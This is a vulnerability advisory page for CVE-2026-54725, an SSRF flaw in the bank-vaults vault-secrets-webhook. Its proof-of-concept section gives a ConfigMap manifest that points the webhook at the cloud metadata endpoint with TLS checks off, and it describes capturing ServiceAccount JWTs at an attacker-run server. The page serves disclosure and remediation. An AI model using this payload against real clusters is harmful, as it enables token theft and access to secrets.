Skip to main content
Press slash or control plus K to focus the search. Use the arrow keys to navigate results and press enter to open a threat.
Reconnecting to live updates…

CVE-2026-54725: CWE-918: Server-Side Request Forgery (SSRF) in bank-vaults vault-secrets-webhook

0
Critical
Published: 07/31/2026 (07/31/2026, 17:45:09 UTC)
Source: CVE Database V5
Vendor/Project: bank-vaults
Product: vault-secrets-webhook

Description

## Summary The vault-secrets-webhook reads the `vault.security.banzaicloud.io/vault-addr` annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation or allowlist. When a ConfigMap or Secret contains a value prefixed with `vault:`, the webhook's admission handler synchronously calls the Vault API at the attacker-supplied address from inside the webhook process during the admission review. The webhook additionally grants `serviceaccounts/token:create` cluster-wide, and the `vault-serviceaccount` annotation controls which ServiceAccount's JWT is fetched and sent to that address. An attacker who can create ConfigMaps or Secrets in a watched namespace can cause the webhook process to make arbitrary outbound HTTP connections and exfiltrate ServiceAccount JWTs. ## Details `parseVaultConfig()` at `pkg/webhook/config.go:102-107` reads `VaultAddrAnnotation` unconditionally into `vaultConfig.Addr`: ```go if value, ok := annotations[common.VaultAddrAnnotation]; ok { vaultConfig.Addr = value } ``` No URL scheme validation, no hostname allowlist, no RFC-1918 or link-local filter. `MutateConfigMap` and `MutateSecret` at `pkg/webhook/configmap.go` and `pkg/webhook/secret.go` call `mw.newVaultClient(ctx, vaultConfig)` when the object contains at least one `vault:...` value. Inside `newVaultClient`, at `pkg/webhook/webhook.go:285`: ```go clientConfig.Address = vaultConfig.Addr ``` `vault.NewClientFromConfigWithContext` then opens an HTTP connection to the attacker-controlled address from the webhook server process, synchronously during the admission review. This is not deferred to a separate pod. The `vault-skip-verify` annotation (`pkg/webhook/config.go:197`) sets `InsecureSkipVerify: true` on the TLS config, eliminating the need for a valid certificate on the attacker's server. When `VaultServiceaccountAnnotation` is also set, at `pkg/webhook/webhook.go`: ```go mw.k8sClient.CoreV1().ServiceAccounts(vaultConfig.ObjectNamespace).CreateToken( ctx, saName, &tokenRequest, metav1.CreateOptions{}) ``` The webhook's ClusterRole (`deploy/charts/vault-secrets-webhook/templates/webhook-rbac.yaml`) grants `serviceaccounts/token:create` cluster-wide. The resulting JWT is then POSTed to `vaultConfig.Addr/v1/auth/<path>/login`. An attacker intercepts this JWT and replays it against the real Vault to access secrets bound to that ServiceAccount's Vault role. ## Proof of Concept Create a ConfigMap in any watched namespace: ```yaml apiVersion: v1 kind: ConfigMap metadata: name: ssrf-poc namespace: tenant-ns annotations: vault.security.banzaicloud.io/vault-addr: "http://169.254.169.254/latest/meta-data/" vault.security.banzaicloud.io/vault-skip-verify: "true" vault.security.banzaicloud.io/vault-serviceaccount: "high-priv-sa" data: secret-key: "vault:secret/data/test#value" ``` When this ConfigMap is created, the vault-secrets-webhook admission handler: 1. Parses the annotations and reads `vault-addr: http://169.254.169.254/latest/meta-data/` 2. Calls `CoreV1().ServiceAccounts(tenant-ns).CreateToken(ctx, "high-priv-sa", ...)` using cluster-wide `serviceaccounts/token:create` 3. Calls `vault.NewClientFromConfigWithContext` which POSTs the JWT to `http://169.254.169.254/latest/meta-data/v1/auth/kubernetes/login` 4. On AWS EKS with IMDSv1, the cloud metadata service receives the request from the webhook pod's IAM identity For the SA token theft path: run an HTTP server at the attacker-controlled `vault-addr` to capture the `Authorization: Bearer <JWT>` header from the login POST. ## Impact A user with `create` or `update` on ConfigMaps or Secrets in any namespace watched by the vault-secrets-webhook can: 1. Cause the webhook process (a cluster-wide privileged component) to make arbitrary outbound HTTP connections to any address including cloud IMDS 2. Exfiltrate ServiceAccount JWTs for any SA in their namespace, which can be replayed against the real Vault server to read secrets the SA's role is authorized to access The attack happens at admission time in the webhook server process, not in a user pod, and requires no special privileges beyond ConfigMap or Secret create/update rights.

CVSS v3.1

Score 9.6critical

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 07/31/2026, 19:34:35 UTC

Technical Analysis

The vault-secrets-webhook component of bank-vaults allows direct secret injection into Kubernetes Pods. Prior to version 1.23.1, the parseVaultConfig() function accepts a vault address annotation that can be controlled by an attacker. The webhook's MutateConfigMap and MutateSecret functions call newVaultClient with this address, potentially sending a ServiceAccount JWT to an attacker-controlled Vault endpoint. This SSRF vulnerability (CWE-918) enables attackers with limited privileges to escalate access and compromise secret data. The vulnerability has a CVSS 3.1 score of 9.6, indicating critical severity. The issue is resolved in version 1.23.1.

Potential Impact

Successful exploitation allows an attacker with at least limited privileges to cause the webhook to send Kubernetes ServiceAccount JWT tokens to an attacker-controlled Vault address. This can lead to unauthorized access to secrets, compromising confidentiality and integrity of sensitive data injected into Pods. The vulnerability does not impact availability. No known exploits in the wild have been reported.

Mitigation Recommendations

This vulnerability is fixed in vault-secrets-webhook version 1.23.1. Users should upgrade to version 1.23.1 or later to remediate the issue. No official patch or workaround is provided beyond upgrading. Since this is not a cloud service, remediation must be applied by users. Patch status is confirmed fixed in 1.23.1.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Data Version
5.2
Assigner Short Name
GitHub_M
Date Reserved
2026-06-15T23:07:33.232Z
Cvss Version
3.1
State
PUBLISHED
Remediation Level
null

Threat ID: 6a6cf74bbf32cb7a34294808

Added to database: 07/31/2026, 19:28:11 UTC

Last enriched: 07/31/2026, 19:34:35 UTC

Last updated: 07/31/2026, 19:58:55 UTC

Views: 33

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses